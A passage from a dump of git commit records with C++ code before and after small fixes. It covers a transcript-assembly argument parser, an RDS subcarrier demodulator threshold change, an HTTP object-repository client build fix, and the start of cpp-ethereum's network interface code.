%d\\n\", min_boundary_score);\n\tprintf(\"min_boundary_ave_ratio = %.2lf\\n\", min_boundary_ave_ratio);\n\tprintf(\"min_boundary_signma = %.2lf\\n\", min_boundary_sigma);\n\n\t\/\/ for subsetsum and router\n\tprintf(\"max_dp_table_size = %d\\n\", max_dp_table_size);\n\tprintf(\"min_router_count = %d\\n\", min_router_count);\n\n\t\/\/ for simulation\n\tprintf(\"simulation_num_vertices = %d\\n\", simulation_num_vertices);\n\tprintf(\"simulation_num_edges = %d\\n\", simulation_num_edges);\n\tprintf(\"simulation_max_edge_weight = %d\\n\", simulation_max_edge_weight);\n\n\t\/\/ for input and output\n\tprintf(\"algo = %s\\n\", algo.c_str());\n\tprintf(\"input_file = %s\\n\", input_file.c_str());\n\tprintf(\"ref_file = %s\\n\", ref_file.c_str());\n\tprintf(\"ref_file1 = %s\\n\", ref_file1.c_str());\n\tprintf(\"ref_file2 = %s\\n\", ref_file2.c_str());\n\tprintf(\"output_file = %s\\n\", output_file.c_str());\n\n\t\/\/ for controling\n\tprintf(\"average_read_length = %d\\n\", average_read_length);\n\tprintf(\"library_type = %d\\n\", library_type);\n\tprintf(\"output_tex_files = %c\\n\", output_tex_files ? 'T' : 'F');\n\tprintf(\"fixed_gene_name = %s\\n\", fixed_gene_name.c_str());\n\tprintf(\"use_second_alignment = %c\\n\", use_second_alignment ? 'T' : 'F');\n\n\tprintf(\"\\n\");\n\n\treturn 0;\n}\n\nint print_command_line(int argc, const char ** argv)\n{\n\tprintf(\"command line: \");\n\tfor(int i = 0; i < argc; i++)\n\t{\n\t\tprintf(\"%s \", argv[i]);\n\t}\n\tprintf(\"\\n\");\n\treturn 0;\n}\n\nint parse_arguments(int argc, const char ** argv)\n{\n\tfor(int i = 1; i < argc; i++)\n\t{\n\t\t\/\/ necessary ones\n\t\tif(string(argv[i]) == \"-i\")\n\t\t{\n\t\t\tinput_file = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-o\")\n\t\t{\n\t\t\toutput_file = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\n\t\t\/\/ internal use\n\t\telse if(string(argv[i]) == \"-a\")\n\t\t{\n\t\t\talgo = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-r\")\n\t\t{\n\t\t\tref_file = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-r1\")\n\t\t{\n\t\t\tref_file1 = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-r2\")\n\t\t{\n\t\t\tref_file2 = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-g\")\n\t\t{\n\t\t\tfixed_gene_name = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-t\")\n\t\t{\n\t\t\toutput_tex_files = true;\n\t\t}\n\n\t\t\/\/ user specified\n\t\telse if(string(argv[i]) == \"--min_flank_length\")\n\t\t{\n\t\t\tmin_flank_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_bundle_gap\")\n\t\t{\n\t\t\tmin_bundle_gap = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_num_hits_in_bundle\")\n\t\t{\n\t\t\tmin_num_hits_in_bundle = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_mapping_quality\")\n\t\t{\n\t\t\tmin_mapping_quality = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_splice_boundary_hits\")\n\t\t{\n\t\t\tmin_splice_boundary_hits = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_indel_ratio\")\n\t\t{\n\t\t\tmax_indel_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_subregion_gap\")\n\t\t{\n\t\t\tmin_subregion_gap = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_subregion_length\")\n\t\t{\n\t\t\tmin_subregion_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_subregion_overlap\")\n\t\t{\n\t\t\tmin_subregion_overlap = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--identify_extra_boundary\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") identify_extra_boundary = true;\n\t\t\telse identify_extra_boundary = false;\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_splice_edge_weight\")\n\t\t{\n\t\t\tmin_splice_edge_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_inner_vertex_weight\")\n\t\t{\n\t\t\tmin_inner_vertex_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_inner_boundary_weight\")\n\t\t{\n\t\t\tmin_inner_boundary_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_transcript_coverage\")\n\t\t{\n\t\t\tmin_transcript_coverage = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_transcript_numreads\")\n\t\t{\n\t\t\tmin_transcript_numreads = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_transcript_length\")\n\t\t{\n\t\t\tmin_transcript_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_split_error_ratio\")\n\t\t{\n\t\t\tmax_split_error_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_decompose_error_ratio\")\n\t\t{\n\t\t\tmax_decompose_error_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--extend_isolated_boundary\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") extend_isolated_boundary = true;\n\t\t\telse extend_isolated_boundary = false;\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_length\")\n\t\t{\n\t\t\tmin_boundary_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_score\")\n\t\t{\n\t\t\tmin_boundary_score = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_ave_ratio\")\n\t\t{\n\t\t\tmin_boundary_ave_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_sigma\")\n\t\t{\n\t\t\tmin_boundary_sigma = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_dp_table_size\")\n\t\t{\n\t\t\tmax_dp_table_size = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_router_count\")\n\t\t{\n\t\t\tmin_router_count = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--library_type\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"unstrand\") library_type = UNSTRAND;\n\t\t\tif(s == \"first\") library_type = FR_FIRST;\n\t\t\tif(s == \"second\") library_type = FR_SECOND;\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--use_second_alignment\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") use_second_alignment = true;\n\t\t\telse use_second_alignment = false;\n\t\t\ti++;\n\t\t}\n\t}\n\n\t\/\/ TODO\n\t\/\/min_splice_edge_weight = min_transcript_coverage;\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"subcarrier.h\"\n\n#include <complex>\n#include <deque>\n#include <iostream>\n\n#include \"liquid_wrappers.h\"\n\nnamespace redsea {\n\nnamespace {\n\nconst float kFs = 228000.0f;\nconst float kFc_0 = 57000.0f;\nconst int kInputBufferSize = 4096;\nconst int kSamplesPerSymbol = 4;\n\n}\n\n\nDeltaDecoder::DeltaDecoder() : prev_(0) {\n\n}\n\nDeltaDecoder::~DeltaDecoder() {\n\n}\n\nunsigned DeltaDecoder::decode(unsigned d) {\n  unsigned bit = (d != prev_);\n  prev_ = d;\n  return bit;\n}\n\nSubcarrier::Subcarrier() : numsamples_(0), bit_buffer_(),\n  fir_lpf_(256, 2100.0f \/ kFs), is_eof_(false), agc_(0.001f),\n  nco_approx_(kFc_0 * 2 * M_PI \/ kFs), nco_exact_(0.0f),\n  symsync_(LIQUID_FIRFILT_RRC, kSamplesPerSymbol, 5, 0.5f, 32),\n  modem_(LIQUID_MODEM_PSK2), symbol_clock_(0), prev_biphase_(0),\n  delta_decoder_(), symbol_errors_(0) {\n\n    symsync_.setBandwidth(0.02f);\n    symsync_.setOutputRate(1);\n    nco_exact_.setPLLBandwidth(0.0004f);\n\n}\n\nSubcarrier::~Subcarrier() {\n\n}\n\nvoid Subcarrier::demodulateMoreBits() {\n\n  int16_t sample[kInputBufferSize];\n  int samplesread = fread(sample, sizeof(int16_t), kInputBufferSize, stdin);\n  if (samplesread < kInputBufferSize) {\n    is_eof_ = true;\n    return;\n  }\n\n  for (int i = 0; i < samplesread; i++) {\n\n    std::complex<float> sample_baseband = nco_approx_.mixDown(sample[i]);\n\n    fir_lpf_.push(sample_baseband);\n\n    if (numsamples_ % (96 \/ kSamplesPerSymbol) == 0) {\n\n      std::complex<float> sample_lopass = agc_.execute(fir_lpf_.execute());\n\n      nco_exact_.stepPLL(modem_.getPhaseError());\n      sample_lopass = nco_exact_.mixDown(sample_lopass);\n\n      std::vector<std::complex<float>> symbols =\n        symsync_.execute(sample_lopass);\n\n      for (std::complex<float> symbol : symbols) {\n        unsigned biphase = modem_.demodulate(symbol);\n\n        if (symbol_clock_ == 1) {\n          bit_buffer_.push_back(delta_decoder_.decode(biphase));\n\n          if (biphase == prev_biphase_) {\n            symbol_errors_ ++;\n            if (symbol_errors_ >= 5)\n              symbol_clock_ = 0;\n          } else {\n            symbol_errors_ = 0;\n          }\n        }\n\n        prev_biphase_ = biphase;\n\n        symbol_clock_ ^= 1;\n\n      }\n    }\n\n    nco_approx_.step();\n\n    numsamples_ ++;\n\n  }\n\n}\n\nint Subcarrier::getNextBit() {\n  while (bit_buffer_.size() < 1 && !isEOF())\n    demodulateMoreBits();\n\n  int bit = 0;\n\n  if (bit_buffer_.size() > 0) {\n    bit = bit_buffer_.front();\n    bit_buffer_.pop_front();\n  }\n\n  return bit;\n}\n\nbool Subcarrier::isEOF() const {\n  return is_eof_;\n}\n\n} \/\/ namespace redsea\n<commit_msg>trial-and-error says 7 is marginally better<commit_after>#include \"subcarrier.h\"\n\n#include <complex>\n#include <deque>\n#include <iostream>\n\n#include \"liquid_wrappers.h\"\n\nnamespace redsea {\n\nnamespace {\n\nconst float kFs = 228000.0f;\nconst float kFc_0 = 57000.0f;\nconst int kInputBufferSize = 4096;\nconst int kSamplesPerSymbol = 4;\n\n}\n\n\nDeltaDecoder::DeltaDecoder() : prev_(0) {\n\n}\n\nDeltaDecoder::~DeltaDecoder() {\n\n}\n\nunsigned DeltaDecoder::decode(unsigned d) {\n  unsigned bit = (d != prev_);\n  prev_ = d;\n  return bit;\n}\n\nSubcarrier::Subcarrier() : numsamples_(0), bit_buffer_(),\n  fir_lpf_(256, 2100.0f \/ kFs), is_eof_(false), agc_(0.001f),\n  nco_approx_(kFc_0 * 2 * M_PI \/ kFs), nco_exact_(0.0f),\n  symsync_(LIQUID_FIRFILT_RRC, kSamplesPerSymbol, 5, 0.5f, 32),\n  modem_(LIQUID_MODEM_PSK2), symbol_clock_(0), prev_biphase_(0),\n  delta_decoder_(), symbol_errors_(0) {\n\n    symsync_.setBandwidth(0.02f);\n    symsync_.setOutputRate(1);\n    nco_exact_.setPLLBandwidth(0.0004f);\n\n}\n\nSubcarrier::~Subcarrier() {\n\n}\n\nvoid Subcarrier::demodulateMoreBits() {\n\n  int16_t sample[kInputBufferSize];\n  int samplesread = fread(sample, sizeof(int16_t), kInputBufferSize, stdin);\n  if (samplesread < kInputBufferSize) {\n    is_eof_ = true;\n    return;\n  }\n\n  for (int i = 0; i < samplesread; i++) {\n\n    std::complex<float> sample_baseband = nco_approx_.mixDown(sample[i]);\n\n    fir_lpf_.push(sample_baseband);\n\n    if (numsamples_ % (96 \/ kSamplesPerSymbol) == 0) {\n\n      std::complex<float> sample_lopass = agc_.execute(fir_lpf_.execute());\n\n      nco_exact_.stepPLL(modem_.getPhaseError());\n      sample_lopass = nco_exact_.mixDown(sample_lopass);\n\n      std::vector<std::complex<float>> symbols =\n        symsync_.execute(sample_lopass);\n\n      for (std::complex<float> symbol : symbols) {\n        unsigned biphase = modem_.demodulate(symbol);\n\n        if (symbol_clock_ == 1) {\n          bit_buffer_.push_back(delta_decoder_.decode(biphase));\n\n          if (biphase == prev_biphase_) {\n            symbol_errors_ ++;\n            if (symbol_errors_ >= 7)\n              symbol_clock_ = 0;\n          } else {\n            symbol_errors_ = 0;\n          }\n        }\n\n        prev_biphase_ = biphase;\n\n        symbol_clock_ ^= 1;\n\n      }\n    }\n\n    nco_approx_.step();\n\n    numsamples_ ++;\n\n  }\n\n}\n\nint Subcarrier::getNextBit() {\n  while (bit_buffer_.size() < 1 && !isEOF())\n    demodulateMoreBits();\n\n  int bit = 0;\n\n  if (bit_buffer_.size() > 0) {\n    bit = bit_buffer_.front();\n    bit_buffer_.pop_front();\n  }\n\n  return bit;\n}\n\nbool Subcarrier::isEOF() const {\n  return is_eof_;\n}\n\n} \/\/ namespace redsea\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>force flush<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix linux build<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Forgot to completely update the experiment.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2012 Stanford University\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR(S) DISCLAIM ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL AUTHORS BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#define _WITH_DPRINTF\n\n#include <cstdlib>\n#include <cstdio>\n#include <cassert>\n\n#include <unistd.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <signal.h>\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n\n#include <iostream>\n\n#include <openssl\/sha.h>\n\n#include \"debug.h\"\n#include \"util.h\"\n#include \"object.h\"\n#include \"httpclient.h\"\n#include \"httprepo.h\"\n\nusing namespace std;\n\n\/*\n * HttpRepo\n *\/\n\nHttpRepo::HttpRepo(HttpClient *client)\n    : client(client)\n{\n}\n\nHttpRepo::~HttpRepo()\n{\n}\n\nvoid\nHttpRepo::preload(const std::vector<std::string> &objs)\n{\n    \/\/ TODO\n    return;\n}\n\nstd::string\nHttpRepo::getHead()\n{\n    int status;\n    string headId;\n\n    status = client->getRequest(\"\/HEAD\", headId);\n    if (status < 0) {\n        assert(false);\n        return \"\";\n    }\n\n    return headId;\n}\n\nObject::sp\nHttpRepo::getObject(const std::string &id)\n{\n    int status;\n    string index;\n    ObjectInfo info = ObjectInfo(id.c_str());\n    std::string payload;\n\n    status = client->getRequest(\"\/objs\/\" + id, payload);\n    if (status < 0) {\n        assert(false);\n        return Object::sp();\n    }\n\n    info.setInfo(payload.substr(0, 16));\n\n    \/\/ TODO: add raw data to cache\n    _addPayload(info.hash, payload.substr(16));\n\n    return Object::sp(new HttpObject(this, info));\n}\n\nbool\nHttpRepo::hasObject(const std::string &id) {\n    NOT_IMPLEMENTED(false);\n    return false;\n}\n\nstd::set<ObjectInfo>\nHttpRepo::listObjects()\n{\n    int status;\n    string index;\n    set<ObjectInfo> rval;\n\n    status = client->getRequest(\"\/index\", index);\n    if (status < 0) {\n        assert(false);\n        return rval;\n    }\n\n    \/\/ Parse response\n    for (int offset = 0; offset < index.size();)\n    {\n        string hash;\n        string objInfo;\n        ObjectInfo info;\n\n        hash = index.substr(offset, SHA256_DIGEST_LENGTH * 2);\n        offset += SHA256_DIGEST_LENGTH * 2;\n        objInfo = index.substr(offset, 16);\n        offset += 16;\n\n        info = ObjectInfo(hash.c_str());\n        info.setInfo(objInfo);\n        rval.insert(info);\n    }\n\n    return rval;\n}\n\nint\nHttpRepo::addObjectRaw(const ObjectInfo &info, bytestream *bs)\n{\n    NOT_IMPLEMENTED(false);\n    return -1;\n}\n\nvector<Commit>\nHttpRepo::listCommits()\n{\n    vector<Commit> rval;\n\n    string index;\n    int status = client->getRequest(\"\/commits\", index);\n    if (status < 0) {\n        assert(false);\n        return rval;\n    }\n\n    \/\/ Parse response\n    for (int offset = 0; offset < index.size();)\n    {\n        int16_t bsize = *(int16_t*)&index[offset];\n        bsize = ntohs(bsize);\n        offset += sizeof(int16_t);\n\n        string blob = index.substr(offset, bsize);\n        offset += bsize;\n\n        Commit c;\n        c.fromBlob(blob);\n        rval.push_back(c);\n    }\n\n    return rval;\n}\n\n\nstd::string &\nHttpRepo::_payload(const std::string &id)\n{\n    return payloads[id];\n}\n\nvoid\nHttpRepo::_addPayload(const std::string &id, const std::string &payload)\n{\n    payloads[id] = payload;\n}\n\nvoid\nHttpRepo::_clearPayload(const std::string &id)\n{\n    payloads.erase(id);\n}\n\n\n\/*\n * HttpObject\n *\/\n\nHttpObject::HttpObject(HttpRepo *repo, ObjectInfo info)\n    : Object(info), repo(repo)\n{\n    assert(repo != NULL);\n    assert(info.hash.size() > 0);\n}\n\nHttpObject::~HttpObject()\n{\n    repo->_clearPayload(info.hash);\n}\n\nbytestream::ap\nHttpObject::getPayloadStream()\n{\n    if (info.getCompressed()) {\n        bytestream::ap bs(getStoredPayloadStream());\n        return bytestream::ap(new lzmastream(bs.release()));\n    }\n    return getStoredPayloadStream();\n}\n\nbytestream::ap\nHttpObject::getStoredPayloadStream()\n{\n    return bytestream::ap(new strstream(repo->_payload(info.hash)));\n}\n\nsize_t\nHttpObject::getStoredPayloadSize()\n{\n    return repo->_payload(info.hash).length();\n}\n<commit_msg>Fixing HttpRepo build on BSDs<commit_after>\/*\n * Copyright (c) 2012 Stanford University\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR(S) DISCLAIM ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL AUTHORS BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#define _WITH_DPRINTF\n\n#include <cstdlib>\n#include <cstdio>\n#include <cassert>\n\n#include <unistd.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <signal.h>\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <arpa\/inet.h>\n\n#include <iostream>\n\n#include <openssl\/sha.h>\n\n#include \"debug.h\"\n#include \"util.h\"\n#include \"object.h\"\n#include \"httpclient.h\"\n#include \"httprepo.h\"\n\nusing namespace std;\n\n\/*\n * HttpRepo\n *\/\n\nHttpRepo::HttpRepo(HttpClient *client)\n    : client(client)\n{\n}\n\nHttpRepo::~HttpRepo()\n{\n}\n\nvoid\nHttpRepo::preload(const std::vector<std::string> &objs)\n{\n    \/\/ TODO\n    return;\n}\n\nstd::string\nHttpRepo::getHead()\n{\n    int status;\n    string headId;\n\n    status = client->getRequest(\"\/HEAD\", headId);\n    if (status < 0) {\n        assert(false);\n        return \"\";\n    }\n\n    return headId;\n}\n\nObject::sp\nHttpRepo::getObject(const std::string &id)\n{\n    int status;\n    string index;\n    ObjectInfo info = ObjectInfo(id.c_str());\n    std::string payload;\n\n    status = client->getRequest(\"\/objs\/\" + id, payload);\n    if (status < 0) {\n        assert(false);\n        return Object::sp();\n    }\n\n    info.setInfo(payload.substr(0, 16));\n\n    \/\/ TODO: add raw data to cache\n    _addPayload(info.hash, payload.substr(16));\n\n    return Object::sp(new HttpObject(this, info));\n}\n\nbool\nHttpRepo::hasObject(const std::string &id) {\n    NOT_IMPLEMENTED(false);\n    return false;\n}\n\nstd::set<ObjectInfo>\nHttpRepo::listObjects()\n{\n    int status;\n    string index;\n    set<ObjectInfo> rval;\n\n    status = client->getRequest(\"\/index\", index);\n    if (status < 0) {\n        assert(false);\n        return rval;\n    }\n\n    \/\/ Parse response\n    for (int offset = 0; offset < index.size();)\n    {\n        string hash;\n        string objInfo;\n        ObjectInfo info;\n\n        hash = index.substr(offset, SHA256_DIGEST_LENGTH * 2);\n        offset += SHA256_DIGEST_LENGTH * 2;\n        objInfo = index.substr(offset, 16);\n        offset += 16;\n\n        info = ObjectInfo(hash.c_str());\n        info.setInfo(objInfo);\n        rval.insert(info);\n    }\n\n    return rval;\n}\n\nint\nHttpRepo::addObjectRaw(const ObjectInfo &info, bytestream *bs)\n{\n    NOT_IMPLEMENTED(false);\n    return -1;\n}\n\nvector<Commit>\nHttpRepo::listCommits()\n{\n    vector<Commit> rval;\n\n    string index;\n    int status = client->getRequest(\"\/commits\", index);\n    if (status < 0) {\n        assert(false);\n        return rval;\n    }\n\n    \/\/ Parse response\n    for (int offset = 0; offset < index.size();)\n    {\n        int16_t bsize = *(int16_t*)&index[offset];\n        bsize = ntohs(bsize);\n        offset += sizeof(int16_t);\n\n        string blob = index.substr(offset, bsize);\n        offset += bsize;\n\n        Commit c;\n        c.fromBlob(blob);\n        rval.push_back(c);\n    }\n\n    return rval;\n}\n\n\nstd::string &\nHttpRepo::_payload(const std::string &id)\n{\n    return payloads[id];\n}\n\nvoid\nHttpRepo::_addPayload(const std::string &id, const std::string &payload)\n{\n    payloads[id] = payload;\n}\n\nvoid\nHttpRepo::_clearPayload(const std::string &id)\n{\n    payloads.erase(id);\n}\n\n\n\/*\n * HttpObject\n *\/\n\nHttpObject::HttpObject(HttpRepo *repo, ObjectInfo info)\n    : Object(info), repo(repo)\n{\n    assert(repo != NULL);\n    assert(info.hash.size() > 0);\n}\n\nHttpObject::~HttpObject()\n{\n    repo->_clearPayload(info.hash);\n}\n\nbytestream::ap\nHttpObject::getPayloadStream()\n{\n    if (info.getCompressed()) {\n        bytestream::ap bs(getStoredPayloadStream());\n        return bytestream::ap(new lzmastream(bs.release()));\n    }\n    return getStoredPayloadStream();\n}\n\nbytestream::ap\nHttpObject::getStoredPayloadStream()\n{\n    return bytestream::ap(new strstream(repo->_payload(info.hash)));\n}\n\nsize_t\nHttpObject::getStoredPayloadSize()\n{\n    return repo->_payload(info.hash).length();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file Network.cpp\n * @author Alex Leverington <nessence@gmail.com>\n * @author Gav Wood <i@gavwood.com>\n * @author Eric Lombrozo <elombrozo@gmail.com> (Windows version of getInterfaceAddresses())\n * @date 2014\n *\/\n\n#include <sys\/types.h>\n#ifndef _WIN32\n#include <ifaddrs.h>\n#endif\n\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/algorithm\/string\/split.hpp>\n\n#include <libdevcore\/Common.h>\n#include <libdevcore\/Assertions.h>\n#include <libdevcore\/CommonIO.h>\n#include <libethcore\/Exceptions.h>\n#include \"Common.h\"\n#include \"UPnP.h\"\n#include \"Network.h\"\n\nusing namespace std;\nusing namespace dev;\nusing namespace dev::p2p;\n\nstd::set<bi::address> Network::getInterfaceAddresses()\n{\n\tstd::set<bi::address> addresses;\n\n#ifdef _WIN32\n\tWSAData wsaData;\n\tif (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)\n\t\tBOOST_THROW_EXCEPTION(NoNetworking());\n\n\tchar ac[80];\n\tif (gethostname(ac, sizeof(ac)) == SOCKET_ERROR)\n\t{\n\t\tclog(NetWarn) << \"Error \" << WSAGetLastError() << \" when getting local host name.\";\n\t\tWSACleanup();\n\t\tBOOST_THROW_EXCEPTION(NoNetworking());\n\t}\n\n\tstruct hostent* phe = gethostbyname(ac);\n\tif (phe == 0)\n\t{\n\t\tclog(NetWarn) << \"Bad host lookup.\";\n\t\tWSACleanup();\n\t\tBOOST_THROW_EXCEPTION(NoNetworking());\n\t}\n\n\tfor (int i = 0; phe->h_addr_list[i] != 0; ++i)\n\t{\n\t\tstruct in_addr addr;\n\t\tmemcpy(&addr, phe->h_addr_list[i], sizeof(struct in_addr));\n\t\tchar *addrStr = inet_ntoa(addr);\n\t\tbi::address address(bi::address::from_string(addrStr));\n\t\tif (!isLocalHostAddress(address))\n\t\t\taddresses.insert(address.to_v4());\n\t}\n\n\tWSACleanup();\n#else\n\tifaddrs* ifaddr;\n\tif (getifaddrs(&ifaddr) == -1)\n\t\tBOOST_THROW_EXCEPTION(NoNetworking());\n\n\tfor (auto ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next)\n\t{\n\t\tif (!ifa->ifa_addr || string(ifa->ifa_name) == \"lo0\")\n\t\t\tcontinue;\n\n\t\tif (ifa->ifa_addr->sa_family == AF_INET)\n\t\t{\n\t\t\tin_addr addr = ((struct sockaddr_in *)ifa->ifa_addr)->sin_addr;\n\t\t\tboost::asio::ip::address_v4 address(boost::asio::detail::socket_ops::network_to_host_long(addr.s_addr));\n\t\t\tif (!isLocalHostAddress(address))\n\t\t\t\taddresses.insert(address);\n\t\t}\n\t\telse if (ifa->ifa_addr->sa_family == AF_INET6)\n\t\t{\n\t\t\tsockaddr_in6* sockaddr = ((struct sockaddr_in6 *)ifa->ifa_addr);\n\t\t\tin6_addr addr = sockaddr->sin6_addr;\n\t\t\tboost::asio::ip::address_v6::bytes_type bytes;\n\t\t\tmemcpy(&bytes[0], addr.s6_addr, 16);\n\t\t\tboost::asio::ip::address_v6 address(bytes, sockaddr->sin6_scope_id);\n\t\t\tif (!isLocalHostAddress(address))\n\t\t\t\taddresses.insert(address);\n\t\t}\n\t}\n\n\tif (ifaddr!=NULL)\n\t\tfreeifaddrs(ifaddr);\n\n#endif\n\n\treturn std::move(addresses);\n}\n\nint Network::tcp4Listen(bi::tcp::acceptor& _acceptor, NetworkPreferences const& _netPrefs)\n{\n\tint retport = -1;\n\tif (_netPrefs.listenIPAddress.empty())\n\t\tfor (unsigned i = 0; i < 2; ++i)\n\t\t{\n\t\t\t\/\/ try to connect w\/listenPort, else attempt net-allocated port\n\t\t\tbi::tcp::endpoint endpoint(bi::tcp::v4(), i ? 0 : _netPrefs.listenPort);\n\t\t\ttry\n\t\t\t{\n\t\t\t\t_acceptor.open(endpoint.protocol());\n\t\t\t\t_acceptor.set_option(ba::socket_base::reuse_address(true));\n\t\t\t\t_acceptor.bind(endpoint);\n\t\t\t\t_acceptor.listen();\n\t\t\t\tretport = _acceptor.local_endpoint().port();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcatch (...)\n\t\t\t{\n\t\t\t\tif (i)\n\t\t\t\t{\n\t\t\t\t\t\/\/ both attempts failed\n\t\t\t\t\tcwarn << \"Couldn't start accepting connections on host. Something very wrong with network?\\n\" << boost::current_exception_diagnostic_information();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/ first attempt failed\n\t\t\t\t_acceptor.close();\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\telse\n\t{\n\t\tbi::tcp::endpoint endpoint(bi::address::from_string(_netPrefs.listenIPAddress), 